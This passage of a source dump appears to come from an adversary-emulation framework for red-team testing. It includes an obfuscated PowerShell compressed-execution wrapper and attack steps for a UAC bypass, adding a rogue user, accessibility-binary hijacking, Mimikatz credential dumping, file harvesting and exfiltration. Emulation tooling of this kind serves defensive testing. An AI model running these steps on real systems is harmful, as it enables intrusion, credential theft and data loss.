| new_script += final_cmd 66 | return ps_lined(new_script, encode=False) 67 | 68 | 69 | def ps_compressed(script, var_name='expr'): 70 | b64_script = powershell_compress_script(script) 71 | # PS needs a script to that can uncompress and exec this string 72 | # https://github.com/mattifestation/PowerSploit/ 73 | # ScriptModification/Out-EncodedCommand.ps1 74 | # sal sets alias 'a' to represent 'New-Object' 75 | # iex is Invoke-Expression 76 | tmp_var_name = 'ps1' 77 | final_cmd = ("sal a New-Object;" + 78 | "$%s=(a IO.StreamReader(" % var_name + 79 | "(a IO.Compression.DeflateStream(" + 80 | "[IO.MemoryStream][Convert]::FromBase64String($%s)," % tmp_var_name + # noqa 81 | "[IO.Compression.CompressionMode]::Decompress))," + 82 | "[Text.Encoding]::ASCII)).ReadToEnd();" + 83 | "iex $%s" % var_name) 84 | # Now the script can be invoked again via command line (incl with args) 85 | return ps_append(b64_script, final_cmd, var_name=tmp_var_name) 86 | -------------------------------------------------------------------------------- /app/service/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mitre/adversary/ae9e349535c281c755ab6fbbf5b1409119262c0c/app/service/__init__.py -------------------------------------------------------------------------------- /app/service/explode.py: -------------------------------------------------------------------------------- 1 | 2 | class Explode: 3 | """ 4 | This is a helper class to explode JSON object(s) from the database. 5 | Exploding means filling in references to embedded objects as stored in the DB 6 | """ 7 | def __init__(self, con): 8 | self.con = con 9 | 10 | def operation(self, id=None): 11 | ids = [id] if id else [] 12 | operations = self.con.get_operations(ids) 13 | for op in operations: 14 | adversaries = self.con.get_adversaries(ids=[op['adversary']]) 15 | if len(adversaries) > 0: 16 | op['adversary'] = adversaries[0] 17 | 18 | net = self.con.get_networks(ids=[op['network']]) 19 | if len(net) > 0: 20 | op['network'] = net[0] 21 | op['network']['hosts'] = self.con.get_hosts(ids=op['network']['hosts']) 22 | op['start_host'] = next(it for it in op['network']['hosts'] if it['id'] == op['start_host']) 23 | 24 | for ps in op['performed_steps']: 25 | ps['jobs'] = self.con.get_jobs(ids=ps.get('jobs')) 26 | for ps_job in ps['jobs']: 27 | ps_job['agent'] = self.con.get_agents(ids=[ps_job.get('agent')])[0] 28 | ps_job['agent']['host'] = self.con.get_hosts(ids=[ps_job['agent']['host']])[0] 29 | if op['known_credentials']: 30 | op['known_credentials'] = self.con.get_observed_credentials(ids=op['known_credentials']) 31 | return operations 32 | 33 | def network(self, id=None): 34 | ids = [id] if id else [] 35 | networks = self.con.get_networks(ids) 36 | for n in networks: 37 | n['domain'] = self.con.get_domains(ids=[n['domain']])[0] 38 | n['hosts'] = self.con.get_hosts(ids=n['hosts']) 39 | return networks 40 | 41 | def agent(self, id=None): 42 | ids = [id] if id else [] 43 | agents = self.con.get_agents(ids) 44 | for a in agents: 45 | a['host'] = self.host(id=a['host'])[0] 46 | return agents 47 | 48 | def host(self, id=None): 49 | ids = [id] if id else [] 50 | hosts = self.con.get_hosts(ids) 51 | for h in hosts: 52 | h['domain'] = self.con.get_domains(ids=[h['domain']])[0] 53 | return hosts 54 | 55 | def rat(self, id=None): 56 | ids = [id] if id else [] 57 | rats = self.con.get_rats(ids) 58 | for r in rats: 59 | r['host'] = self.con.get_hosts(ids=[r['host']])[0] 60 | return rats 61 | 62 | def adversary(self, id=None): 63 | ids = [id] if id else [] 64 | adversaries = self.con.get_adversaries(ids=ids) 65 | for adv in adversaries: 66 | if adv['steps']: 67 | adv['steps'] = self.step(id=adv['steps']) 68 | return adversaries 69 | 70 | def technique(self, id=None): 71 | ids = [id] if id else [] 72 | techniques = self.con.get_techniques(ids=ids) 73 | tactics = self.con.get_tactics() 74 | for tech in techniques: 75 | tech['tactics'] = [self._find(tactics, t) for t in tech['tactics']] 76 | return techniques 77 | 78 | def step(self, id=None): 79 | ids = id if id else [] 80 | steps = self.con.get_steps(ids=ids) 81 | techniques = self.con.get_techniques() 82 | tactics = self.con.get_tactics() 83 | for step in steps: 84 | for m in step['mapping']: 85 | m['technique'] = self._find(techniques, m['technique']) 86 | m['tactic'] = self._find(tactics, m['tactic']) 87 | return steps 88 | 89 | @staticmethod 90 | def _find(objects, id): 91 | element = list(filter(lambda c: c['id'] == id, objects)) 92 | return element[0] 93 | -------------------------------------------------------------------------------- /app/simulate/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mitre/adversary/ae9e349535c281c755ab6fbbf5b1409119262c0c/app/simulate/__init__.py -------------------------------------------------------------------------------- /app/simulate/generate.py: -------------------------------------------------------------------------------- 1 | class GenerateError(Exception): 2 | pass 3 | 4 | 5 | def generate_circular(world): 6 | users = world.get_objects_by_type('OPUser') 7 | 8 | domain_users = [x for x in users if x.domain is not None] 9 | hosts = world.get_objects_by_type('OPHost') 10 | 11 | if len(domain_users) < len(hosts): 12 | raise GenerateError('Not enough users to produce a circular network') 13 | 14 | for i in range(0, len(hosts)): 15 | # assign the i - 1 admin 16 | hosts[i - 1]['admins'] = [domain_users[i]] 17 | 18 | # cache the i - 1 creds on the i host 19 | hosts[i]['cached_creds'] = [domain_users[i]['cred']] 20 | -------------------------------------------------------------------------------- /app/simulate/lists/animals: -------------------------------------------------------------------------------- 1 | # birds of prey 2 | bald eagle 3 | raptor 4 | raven 5 | crow 6 | vulture 7 | condor 8 | hawk 9 | 10 | # small birds 11 | finch 12 | wren 13 | cardinal 14 | bluejay 15 | sparrow 16 | woodpecker 17 | hummingbird 18 | roadrunner 19 | warbler 20 | 21 | # large birds 22 | heron 23 | osprey 24 | quail 25 | pheasant 26 | duck 27 | turkey 28 | owl 29 | pelican 30 | egret 31 | bittern 32 | 33 | # field animals 34 | vole 35 | mouse 36 | badger 37 | opossum 38 | bison 39 | buffalo 40 | 41 | # jungle 42 | monkey 43 | pirannha 44 | jaguar 45 | 46 | # domestic 47 | dog 48 | cat 49 | gerbil 50 | hamster 51 | rat 52 | 53 | # farm 54 | cow 55 | sheep 56 | goat 57 | chicken 58 | pig 59 | horse 60 | 61 | # savannah 62 | water buffalo 63 | rhinoceros 64 | elephant 65 | zebra 66 | lion 67 | tiger 68 | hyena 69 | prairie dog 70 | 71 | # water mammals 72 | dolphin 73 | whale 74 | porpoise 75 | seal 76 | 77 | # polar animals 78 | penguin 79 | polar bear 80 | 81 | # forest 82 | moose 83 | caribou 84 | elk 85 | deer 86 | fox 87 | 88 | # fish 89 | trout 90 | sea bass 91 | bluegill 92 | muskie 93 | 94 | # insects 95 | butterfly 96 | ant 97 | grasshopper 98 | dragonfly 99 | fly 100 | earthworm 101 | 102 | # not sure where these come from 103 | alligator 104 | crocodile 105 | seagull 106 | lizard 107 | gecko 108 | iguana 109 | salamander 110 | snake 111 | toad 112 | tortoise 113 | pony 114 | ape 115 | lobster 116 | orangutang 117 | rabbit 118 | spider 119 | shark 120 | bear 121 | shrimp 122 | oyster 123 | clam 124 | mussel 125 | snail 126 | parrot 127 | toucan -------------------------------------------------------------------------------- /app/simulate/lists/greek.alphabet: -------------------------------------------------------------------------------- 1 | alpha 2 | beta 3 | gamma 4 | delta 5 | epsilon 6 | zeta 7 | eta 8 | theta 9 | iota 10 | kappa 11 | lambda 12 | mu 13 | nu 14 | xi 15 | omicron 16 | pi 17 | rho 18 | sigma 19 | tau 20 | upsilon 21 | phi 22 | chi 23 | psi 24 | omega -------------------------------------------------------------------------------- /app/simulate/sim.py: -------------------------------------------------------------------------------- 1 | import asyncio 2 | import random 3 | 4 | from plugins.adversary.app.utility.simulation import get_simulated_domain_data 5 | 6 | """ 7 | This module is designed to mock out Windows commands and return the parsed Python objects 8 | that a step is expecting to get back. 9 | """ 10 | 11 | 12 | def is_fake(rat): 13 | return rat['pid'] == 9999 14 | 15 | 16 | async def fake_response(rat, cmd): 17 | await asyncio.sleep(random.randint(2, 5)) # random sleep for realism 18 | domain = get_simulated_domain_data(domain=rat.host.dns_domain_name.split('.')[0]) 19 | if 'Get-DomainComputer' in cmd.command_line: 20 | return await get_computers(domain) 21 | elif 'Invoke-Mimikatz' in cmd.command_line: 22 | return await get_creds(rat, domain) 23 | elif 'Get-NetLocalGroupMember' in cmd.command_line: 24 | return await get_admin(rat, domain) 25 | elif 'nbtstat' in cmd.command_line: 26 | return rat.host.dns_domain_name.split('.')[0] 27 | elif 'net use' in cmd.command_line: 28 | return True # this step simply does, it does not return 29 | elif 'cmd /c copy' in cmd.command_line: 30 | return True # this step simply does, it does not return 31 | 32 | 33 | async def get_computers(domain): 34 | objects = dict() 35 | for host, data in domain['hosts'].items(): 36 | os = data['os'] 37 | info = dict(os_name=os['name'], major_version=os['major'], minor_version=os['minor'], build_number=os['build']) 38 | objects['%s.%s.local' % (host, domain['name'])] = dict(parsed_version_info=info) 39 | return objects 40 | 41 | 42 | async def get_creds(rat, domain): 43 | host_details = next(v for k, v in domain['hosts'].items() if k == rat.host['hostname']) 44 | accounts = [] 45 | for account in host_details['accounts']: 46 | accounts.append(dict(Username=account['user'], Password=account['password'], Domain=domain['name'])) 47 | return accounts 48 | 49 | 50 | async def get_admin(rat, domain): 51 | host_details = next(v for k, v in domain['hosts'].items() if k == rat.host['hostname']) 52 | users = [] 53 | for account in host_details['accounts']: 54 | if account['is_admin']: 55 | users.append(dict(username=account['user'], sid=account['sid'], is_group=account['is_group'], windows_domain=domain['name'])) 56 | return users 57 | 58 | 59 | -------------------------------------------------------------------------------- /app/simulate/wordlist.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | 4 | male_names = [] 5 | with open(os.path.join(os.path.dirname(__file__), "lists", "dist.list.male")) as f: 6 | for line in f.readlines(): 7 | white_index = line.find(" ") 8 | male_names.append(line[:white_index].lower()) 9 | 10 | female_names = [] 11 | with open(os.path.join(os.path.dirname(__file__), "lists", "dist.list.female")) as f: 12 | for line in f.readlines(): 13 | white_index = line.find(" ") 14 | female_names.append(line[:white_index].lower()) 15 | 16 | greek_alphabet = [] 17 | with open(os.path.join(os.path.dirname(__file__), "lists", "greek.alphabet")) as f: 18 | for line in f.readlines(): 19 | greek_alphabet.append(line.strip()) 20 | 21 | animals = [] 22 | with open(os.path.join(os.path.dirname(__file__), "lists", "animals")) as f: 23 | for line in f.readlines(): 24 | line = line.strip() 25 | if line and not line.startswith('#'): 26 | animals.append(line) 27 | -------------------------------------------------------------------------------- /app/steps/AC_bypass.py: -------------------------------------------------------------------------------- 1 | import plugins.adversary.app.config as config 2 | from plugins.adversary.app.commands import static 3 | from plugins.adversary.app.operation.operation import Step, OPRat, OPFile 4 | 5 | 6 | class AC_Bypass(Step): 7 | """ 8 | Description: 9 | This attempts to bypass Window's Account Control mechanisms in various ways using powershell scripts. 10 | Specifically, it attempts to bypass UAC by performing an image hijack on the .msc file extension, and 11 | by abusing the lack of an embedded manifest in wscript.exe. 12 | Requirements: 13 | Requires a rat on the target machine. 14 | """ 15 | attack_mapping = [('T1088', 'Privilege Escalation'), ('T1088', 'Defense Evasion')] 16 | display_name = "ac_bypass" 17 | summary = "Bypass Account Control to escalate privileges" 18 | 19 | preconditions = [("rat", OPRat)] 20 | postconditions = [("file_g", OPFile), 21 | ("rat_g", OPRat({"elevated": True}))] 22 | 23 | preproperties = ["rat.host.fqdn"] 24 | 25 | significant_parameters = [] 26 | 27 | @staticmethod 28 | def description(): 29 | return "Using Account Bypass to escalate Privileges" 30 | 31 | @staticmethod 32 | async def simulate(operation, rat, file_g, rat_g): 33 | return True 34 | 35 | @staticmethod 36 | async def action(operation, rat, file_g, rat_g): 37 | await operation.drop_file(rat, "C://bypassB.ps1", config.settings.filestore_path + "/bypassTAR.hex") 38 | await operation.drop_file(rat, "C://totally_innocent_seal.exe", config.settings.exe_rat_path) 39 | ret = await operation.execute_shell_command(rat, *static.bypassB()) 40 | if not ret: 41 | await operation.drop_file(rat, "C://bypassA.ps1", config.settings.filestore_path + "/bypassRAT.hex") 42 | await file_g({'path': "C://bypassA.ps1", 'host': rat.host, 'use_case': 'dropped'}) 43 | await operation.execute_shell_command(rat, *static.bypassA()) 44 | await file_g({'path': "C://bypassB.ps1", 'host': rat.host, 'use_case': 'dropped'}) 45 | await file_g({'path': "C://totally_innocent_seal.exe", 'host': rat.host, 'use_case': 'dropped'}) 46 | await rat_g() 47 | return True 48 | 49 | @staticmethod 50 | async def cleanup(cleaner, file_g): 51 | for entry in file_g: 52 | await cleaner.delete(entry) -------------------------------------------------------------------------------- /app/steps/__init__.py: -------------------------------------------------------------------------------- 1 | from pathlib import Path 2 | import os 3 | import importlib.util 4 | import inspect 5 | from plugins.adversary.app.operation.step import Step 6 | from plugins.adversary.app.util import relative_path 7 | 8 | 9 | step_dir = Path(relative_path(__file__, os.path.join('..', 'steps'))) 10 | all_steps = [] 11 | lookup_step_by_name = {} 12 | 13 | for step_file in step_dir.iterdir(): 14 | if step_file.is_file(): 15 | if step_file.name.endswith('.py') and not step_file.name.startswith('__'): 16 | module = importlib.import_module('..steps.' + step_file.stem, __package__) 17 | for name, obj in inspect.getmembers(module): 18 | if inspect.isclass(obj) and issubclass(obj, Step) and obj != Step: 19 | all_steps.append(obj) 20 | 21 | # for some reason the below wasn't finding all the steps 22 | all_steps.sort(key=(lambda x: x.__name__)) 23 | lookup_step_by_name = {step.__name__: step for step in all_steps} 24 | -------------------------------------------------------------------------------- /app/steps/adduser.py: -------------------------------------------------------------------------------- 1 | from plugins.adversary.app.commands import net 2 | from plugins.adversary.app.operation.operation import Step, OPRat, OPHost 3 | 4 | 5 | class AddUser(Step): 6 | attack_mapping = [("T1136", "Persistence")] 7 | display_name = "create user" 8 | summary = "Create user account on compromised machines to increase network presence and persistence." 9 | 10 | preproperties = ['rat.username', 'rat.host.fqdn'] 11 | 12 | preconditions = [('host', OPHost), 13 | ('rat', OPRat), ('rat', OPRat({"username": "nt authority\\system"}))] 14 | 15 | @staticmethod 16 | def description(rat): 17 | return "Using net to create a new user 'test' on {}.".format(rat.host.fqdn) 18 | 19 | @staticmethod 20 | async def simulate(operation, rat): 21 | return True 22 | 23 | @staticmethod 24 | async def action(operation, rat): 25 | await operation.execute_shell_command(rat, *net.user_add("test", "hello123WORLD!")) 26 | return True 27 | 28 | @staticmethod 29 | async def cleanup(cleaner, host): 30 | try: 31 | await cleaner.run_on_agent(host, *net.user_delete("test")) 32 | except: 33 | pass # It's possible for the cleanup command to fail, which will cause the system to hang -------------------------------------------------------------------------------- /app/steps/associationabuse.py: -------------------------------------------------------------------------------- 1 | from plugins.adversary.app.commands import static 2 | from plugins.adversary.app.operation.operation import Step, OPRat, OPPersistence, OPVar, OPFile 3 | import random 4 | 5 | 6 | class AssociationAbuse(Step): 7 | """ 8 | Description: 9 | This step replaces the default executables of sethc.exe (sticky keys), and utilman.exe (windows + u), with 10 | cmd.exe. This allows for ready access to a system-level shell, even over RDP or when locked out. 11 | Requirements: 12 | Requires an elevated Rat. 13 | """ 14 | attack_mapping = [('T1015', 'Persistence'), ('T1015', 'Privilege Escalation')] 15 | display_name = "accessibility_features" 16 | summary = "Replaces the common utility programs of sethc.exe and utilman.exe with CMD.exe" 17 | 18 | preconditions = [("rat", OPRat({"elevated": True}))] 19 | postconditions = [("file_g", OPFile), 20 | ("persistence_g", OPPersistence({"host": OPVar("rat.host"), "elevated": True}))] 21 | 22 | preproperties = ["rat.host.fqdn"] 23 | 24 | significant_parameters = [] 25 | 26 | @staticmethod 27 | def description(): 28 | return "Replacing default sethc.exe and utilman.exe executables with CMD for persistent access" 29 | 30 | @staticmethod 31 | async def simulate(operation, rat, persistence_g, file_g): 32 | return True 33 | 34 | @staticmethod 35 | async def action(operation, rat, persistence_g, file_g): 36 | random.seed() 37 | key_id = random.randint(1,1000) 38 | await operation.execute_shell_command(rat, *static.accessFeatA(key_id)) 39 | await operation.execute_shell_command(rat, *static.accessFeatB(key_id)) 40 | f1 = await file_g({'host': rat.host, 'path': str(key_id), 'use_case': 41 | 'modified', 'src_path': 'C:\\Windows\\System32\\sethc.exe'}) 42 | f2 = await file_g({'host': rat.host, 'path': str(key_id), 'use_case': 43 | 'modified', 'src_path': 'C:\\Windows\\System32\\utilman.exe'}) 44 | await persistence_g({'file_artifact': f1, 'host': rat.host.fqdn}) 45 | await persistence_g({'file_artifact': f2, 'host': rat.host.fqdn}) 46 | return True 47 | 48 | @staticmethod 49 | async def cleanup(cleaner, file_g, persistence_g): 50 | for entry in file_g: 51 | pass 52 | for persist in persistence_g: 53 | await cleaner.static_revert(persist, "move /Y " + persist['file_artifact']['src_path'] + '.' + 54 | persist['file_artifact']['path'] + " " + 55 | persist['file_artifact']['src_path']) 56 | 57 | -------------------------------------------------------------------------------- /app/steps/copy.py: -------------------------------------------------------------------------------- 1 | from plugins.adversary.app.commands import cmd 2 | from plugins.adversary.app.operation.operation import Step, OPFile, OPRat, OPVar, OPShare 3 | 4 | 5 | class Copy(Step): 6 | """ 7 | Description: 8 | This step copies a file, specifically the Caldera RAT, between machines. 9 | Requirements: 10 | Requires a share to have been created on the target machine, which is usually accomplished using NetUse. 11 | """ 12 | attack_mapping = [('T1105', 'Lateral Movement'), ('T1106', 'Execution')] 13 | display_name = "copy_file" 14 | summary = "Copy a file from a computer to another using a mounted network share" 15 | 16 | preconditions = [("rat", OPRat), 17 | ("share", OPShare({"src_host": OPVar("rat.host")}))] 18 | postconditions = [("file_g", OPFile({'host': OPVar("share.dest_host")}))] 19 | 20 | preproperties = ['rat.executable', 'share.share_path'] 21 | 22 | postproperties = ['file_g.path'] 23 | 24 | deterministic = True 25 | 26 | cddl = """ 27 | Knowns: 28 | rat: OPRat[host, executable] 29 | share: OPShare[src_host, dest_host, share_path] 30 | Where: 31 | rat.host == share.src_host 32 | rat.host != share.dest_host 33 | Effects: 34 | if not exist rat { 35 | forget rat 36 | } else { 37 | create OPFile[path="somepath", host=share.dest_host] 38 | } 39 | """ 40 | 41 | @staticmethod 42 | def description(rat, share): 43 | return "Copying an implant from {} to {}".format(rat.host.fqdn, share.dest_host.fqdn) 44 | 45 | @staticmethod 46 | async def action(operation, rat, share, file_g): 47 | filepath = "\\" + operation.adversary_artifactlist.get_executable_word() 48 | await operation.execute_shell_command(rat, *cmd.copy(rat.executable, share.share_path + filepath)) 49 | await file_g({'src_host': share.src_host, 'src_path': rat.executable, 'path': share.mount_point + filepath, 50 | 'use_case': 'rat'}) 51 | return True 52 | 53 | @staticmethod 54 | async def cleanup(cleaner, file_g): 55 | for file in file_g: 56 | await cleaner.delete(file) 57 | -------------------------------------------------------------------------------- /app/steps/credentials.py: -------------------------------------------------------------------------------- 1 | from plugins.adversary.app.commands.powershell import PSArg, PSFunction 2 | from plugins.adversary.app.commands.mimikatz import MimikatzCommand, sekurlsa_logonpasswords, mimi_exit, privilege_debug 3 | from plugins.adversary.app.operation.operation import Step, OPUser, OPDomain, OPCredential, OPHost, OPRat, OPVar 4 | from plugins.adversary.app.commands import parsers 5 | 6 | 7 | class Credentials(Step): 8 | """ 9 | Description: 10 | This step utilizes mimikatz to dump the credentials currently stored in memory on a target machine. 11 | Requirements: 12 | Requires administrative access to the target machine. 13 | *NOTE: In order for this action to be useful, the target machines must be seeded with credentials, 14 | and the appropriate registry keys must be set so that the credentials are held in memory.* 15 | """ 16 | attack_mapping = [('T1003', 'Credential Access'), ('T1064', 'Defense Evasion'), ('T1064', 'Execution'), 17 | ('T1086', 'Execution'), ('T1106', 'Execution')] 18 | display_name = "get_creds" 19 | summary = "Use Mimikatz to dump credentials on a specific computer" 20 | 21 | value = 10 22 | preconditions = [("rat", OPRat({"elevated": True})), 23 | ("host", OPHost(OPVar("rat.host")))] 24 | postconditions = [("domain_g", OPDomain), 25 | ("credential_g", OPCredential), 26 | ("host_g", OPHost), 27 | ("user_g", OPUser)] 28 | 29 | # hacky hint: tells the planner to assume that the credentials are for a user that is local admin on a 30 | # new host, so that it finds this technique useful 31 | hints = [("user_g", OPUser({'$in': OPVar('host_g.admins'), "domain": OPVar("domain_g")})), 32 | ("credential_g", OPCredential({"user": OPVar("user_g")}))] 33 | 34 | preproperties = ["host.os_version.major_version"] 35 | 36 | # host_g.fqdn portproperty is a hack so that planner can use it to laterally move 37 | postproperties = ["credential_g.password", "user_g.username", "user_g.is_group", "domain_g.windows_domain", 38 | "host_g.fqdn"] 39 | 40 | significant_parameters = ["host"] 41 | 42 | cddl = """ 43 | Knowns: 44 | rat: OPRat[host] 45 | Effects: 46 | if not exist rat { 47 | forget rat 48 | } elif rat.elevated { 49 | for cred in rat.host.cached_creds { 50 | know cred[user[username, is_group, domain[windows_domain], host], password] 51 | } 52 | } 53 | """ 54 | 55 | @staticmethod 56 | def description(host): 57 | return "Running mimikatz to dump credentials on {}".format(host.fqdn) 58 | 59 | @staticmethod 60 | async def action(operation, rat, host, domain_g, credential_g, user_g): 61 | mimikatz_command = MimikatzCommand(privilege_debug(), sekurlsa_logonpasswords(), mimi_exit()) 62 | 63 | accounts = await operation.execute_powershell(rat, "powerkatz", 64 | PSFunction("Invoke-Mimikatz", 65 | PSArg("Command", mimikatz_command.command)), 66 | parsers.mimikatz.sekurlsa_logonpasswords_condensed) 67 | 68 | for account in accounts: 69 | user_obj = {'username': account['Username'].lower(), 'is_group': False} 70 | credential_obj = {} 71 | if 'Password' in account: 72 | credential_obj['password'] = account['Password'] 73 | 74 | if 'NTLM' in account: 75 | credential_obj["hash"] = account['NTLM'] 76 | 77 | # if the domain is not the hostname, this is a Domain account 78 | if account['Domain'].lower() != host.hostname.lower(): 79 | domain = await domain_g({'windows_domain': account['Domain'].lower()}) 80 | user_obj['domain'] = domain 81 | else: 82 | user_obj['host'] = host 83 | 84 | credential_obj['found_on_host'] = host 85 | 86 | user = await user_g(user_obj) 87 | credential_obj['user'] = user 88 | await credential_g(credential_obj) 89 | 90 | return True 91 | -------------------------------------------------------------------------------- /app/steps/dirlistcollection.py: -------------------------------------------------------------------------------- 1 | from plugins.adversary.app.commands import cmd 2 | from plugins.adversary.app.operation.operation import Step, OPFile, OPHost, OPRat, OPVar 3 | 4 | 5 | class DirListCollection(Step): 6 | """ 7 | Description: 8 | This step enumerates files on the target machine. Specifically, it looks for files with 'password' or 9 | 'admin' in the name. 10 | Requirements: 11 | This step only requires the existence of a RAT on a host in order to run. 12 | """ 13 | attack_mapping = [("T1005", "Collection"), ("T1083", "Discovery"), ('T1106', 'Execution')] 14 | display_name = "list_files" 15 | summary = "Enumerate files locally with a for loop and the dir command recursively" 16 | 17 | preconditions = [('rat', OPRat), 18 | ('host', OPHost(OPVar("rat.host")))] 19 | 20 | postconditions = [('file_g', OPFile({'use_case': 'collect', 21 | 'host': OPVar("host")}))] 22 | 23 | significant_parameters = ['host'] # no need to do this more than once per host 24 | 25 | postproperties = ['file_g.path'] 26 | 27 | @staticmethod 28 | def description(rat, host): 29 | return "Using cmd to recursively look for files to collect on {}".format(host.hostname) 30 | 31 | @staticmethod 32 | async def simulate(operation, rat, host, file_g): 33 | return True 34 | 35 | @staticmethod 36 | async def action(operation, rat, host, file_g): 37 | # dir path\*word1* /s /b /a-d 38 | # for now, hard coded list of words we're interested in in file names 39 | # for now, hard coded list of paths to check for these files 40 | keywords = operation.adversary_artifactlist.get_targets() 41 | if "system" in rat.username: 42 | keypaths = ["C:\\Users\\"] 43 | else: 44 | keypaths = ['C:\\Users\\' + rat.username.split("\\")[1] + "\\"] 45 | 46 | for path in keypaths: 47 | for word in keywords: 48 | try: 49 | # if the b,s, and a flags change on this command, be sure to implement a new parser! 50 | files = await operation.execute_shell_command(rat, *cmd.dir_list(search=path + "*" + word + "*", 51 | b=True, s=True, a="-d")) 52 | for file in files: 53 | await file_g({'path': file}) 54 | except FileNotFoundError: 55 | # the path was invalid, the file wasn't found, or access denied, so move on 56 | continue 57 | 58 | return True 59 | -------------------------------------------------------------------------------- /app/steps/exfiladversaryprofile.py: -------------------------------------------------------------------------------- 1 | from plugins.adversary.app.operation.operation import Step, OPFile, OPHost, OPRat, OPVar 2 | 3 | 4 | class ExfilAdversaryProfile(Step): 5 | """ 6 | Description: 7 | This step exfiltrates target files on a target machine utilizing the chosen adversary's configured 8 | exfiltration method. 9 | Requirements: 10 | This step requires file enumeration to have taken place (DirListCollection). 11 | """ 12 | attack_mapping = [("T1048", "Exfiltration"), ('T1106', 'Execution')] 13 | display_name = "exfiltrate_files" 14 | summary = "Exfil a set of files over adversary defined exfil method" 15 | 16 | preconditions = [('rat', OPRat), 17 | ('host', OPHost(OPVar('rat.host'))), 18 | ('file', OPFile({'host': OPVar('rat.host'), 19 | 'use_case': 'collect'}))] 20 | 21 | postconditions = [('file_g', OPFile({'host': OPVar('rat.host'), 22 | 'use_case': 'exfil', 23 | 'path': OPVar('file.path')}))] 24 | 25 | significant_parameters = ['file'] # don't keep exfil-ing the same file 26 | # TODO: Keep adding to this as more methods are created in crater / web's adversary-form.js 27 | 28 | @staticmethod 29 | def description(rat, host, file): 30 | return "exfilling {} from {}".format(file.path, host.hostname) 31 | 32 | @staticmethod 33 | async def simulate(operation, rat, host, file, file_g): 34 | return True 35 | 36 | @staticmethod 37 | async def action(operation, rat, host, file, file_g): 38 | method = operation.adversary_artifactlist.get_exfil_method() 39 | address = operation.adversary_artifactlist.get_exfil_address() 40 | port = operation.adversary_artifactlist.get_exfil_port() 41 | output = await operation.exfil_network_connection(rat, addr=address, port=port, file_path=file.path, 42 | parser=None, method=method) 43 | if "Failed to exfil" in output: 44 | return False 45 | await file_g() # create an ObservedFile object for files that we successfully exfilled 46 | return True 47 | -------------------------------------------------------------------------------- /app/steps/getadmin.py: -------------------------------------------------------------------------------- 1 | from plugins.adversary.app.commands import parsers 2 | from plugins.adversary.app.commands.powershell import PSArg, PSFunction 3 | from plugins.adversary.app.operation.operation import Step, OPUser, OPDomain, OPHost, OPRat, OPVar 4 | 5 | 6 | class GetAdmin(Step): 7 | """ 8 | Description: 9 | This step enumerates the administrator accounts on a target domain connected machine using PowerView by 10 | querying the Windows Active Directory. 11 | Requirements: 12 | Requires a connection to a responsive Active Directory server. 13 | """ 14 | attack_mapping = [('T1069', 'Discovery'), ('T1086', 'Execution'), ('T1087', 'Discovery'), 15 | ('T1064', 'Defense Evasion'), ('T1064', 'Execution'), ('T1106', 'Execution')] 16 | display_name = "get_admin" 17 | summary = "Use PowerView's Get-NetLocalGroup command to query the Active Directory server for administrators " \ 18 | "on a specific computer" 19 | 20 | preconditions = [("rat", OPRat), 21 | ("host", OPHost)] 22 | postconditions = [("domain_g", OPDomain), 23 | ("user_g", OPUser({'$in': OPVar("host.admins")}))] 24 | 25 | postproperties = ["user_g.username", "user_g.is_group", "user_g.sid"] 26 | 27 | significant_parameters = ["host"] 28 | 29 | cddl = """ 30 | Knowns: 31 | rat: OPRat 32 | host: OPHost 33 | Effects: 34 | if not exist rat { 35 | forget rat 36 | } elif rat.elevated == True { 37 | know host[domain[dns_domain]] 38 | know host[admins[username, is_group, sid, host, domain]] 39 | } 40 | """ 41 | 42 | @staticmethod 43 | def description(host): 44 | return "Enumerating the Administrators group of {}".format(host.fqdn) 45 | 46 | @staticmethod 47 | async def action(operation, rat, host, domain_g, user_g): 48 | objects = await operation.execute_powershell(rat, "powerview", PSFunction('Get-NetLocalGroupMember', 49 | PSArg('ComputerName', host.hostname)), 50 | parsers.powerview.getnetlocalgroupmember) 51 | for parsed_user in objects: 52 | # find the user for this account 53 | user_dict = {'username': parsed_user['username'], 54 | 'is_group': parsed_user['is_group'], 55 | 'sid': parsed_user['sid']} 56 | 57 | if 'dns_domain' in parsed_user: 58 | domain = await domain_g({'dns_domain': parsed_user['dns_domain']}) 59 | user_dict['domain'] = domain 60 | elif 'windows_domain' in parsed_user: 61 | domain = await domain_g({'windows_domain': parsed_user['windows_domain']}) 62 | user_dict['domain'] = domain 63 | else: 64 | user_dict['host'] = host 65 | 66 | await user_g(user_dict) 67 | 68 | return True 69 | -------------------------------------------------------------------------------- /app/steps/getcomputers.py: -------------------------------------------------------------------------------- 1 | from plugins.adversary.app.commands import parsers 2 | from plugins.adversary.app.commands.powershell import PSFunction 3 | from plugins.adversary.app.operation.operation import Step, OPHost, OPRat, OPOSVersion, OperationWrapper, ObservedRat 4 | 5 | 6 | class GetComputers(Step): 7 | """ 8 | Description: 9 | This step enumerates the machines and their operating systems belonging to a domain using PowerView. 10 | Requirements: 11 | Requires a connection to a responsive Active Directory server. 12 | """ 13 | attack_mapping = [('T1018', 'Discovery'), ('T1086', 'Execution'), ('T1064', 'Defense Evasion'), 14 | ('T1064', 'Execution'), ('T1106', 'Execution')] 15 | display_name = "get_computers" 16 | summary = "Use PowerView to query the Active Directory server for a list of computers in the Domain" 17 | 18 | preconditions = [("rat", OPRat)] 19 | postconditions = [("host_g", OPHost), 20 | ("os_version_g", OPOSVersion)] 21 | 22 | postproperties = ["host_g.fqdn", "host_g.os_version"] 23 | 24 | significant_parameters = [] 25 | 26 | cddl = """ 27 | Knowns: 28 | rat: OPRat 29 | Effects: 30 | if not exist rat { 31 | forget rat 32 | } else { 33 | know rat[host[domain[hosts[fqdn, os_version]]]] 34 | } 35 | """ 36 | 37 | @staticmethod 38 | def description(): 39 | return "Enumerating all computers in the domain" 40 | 41 | @staticmethod 42 | async def action(operation: OperationWrapper, rat: ObservedRat, host_g, os_version_g): 43 | objects = await operation.execute_powershell(rat, 'powerview', PSFunction("Get-DomainComputer"), 44 | parsers.powerview.getdomaincomputer) 45 | in_scope_fqdns = operation.filter_fqdns(objects.keys()) 46 | 47 | # save fqdns & os versions 48 | for fqdn in in_scope_fqdns: 49 | os_version = await os_version_g({**objects[fqdn]['parsed_version_info']}) 50 | await host_g({'fqdn': fqdn, 'os_version': os_version}) 51 | 52 | return True 53 | -------------------------------------------------------------------------------- /app/steps/getdomain.py: -------------------------------------------------------------------------------- 1 | from plugins.adversary.app.commands import nbtstat 2 | from plugins.adversary.app.operation.operation import Step, OPDomain, OPRat 3 | 4 | 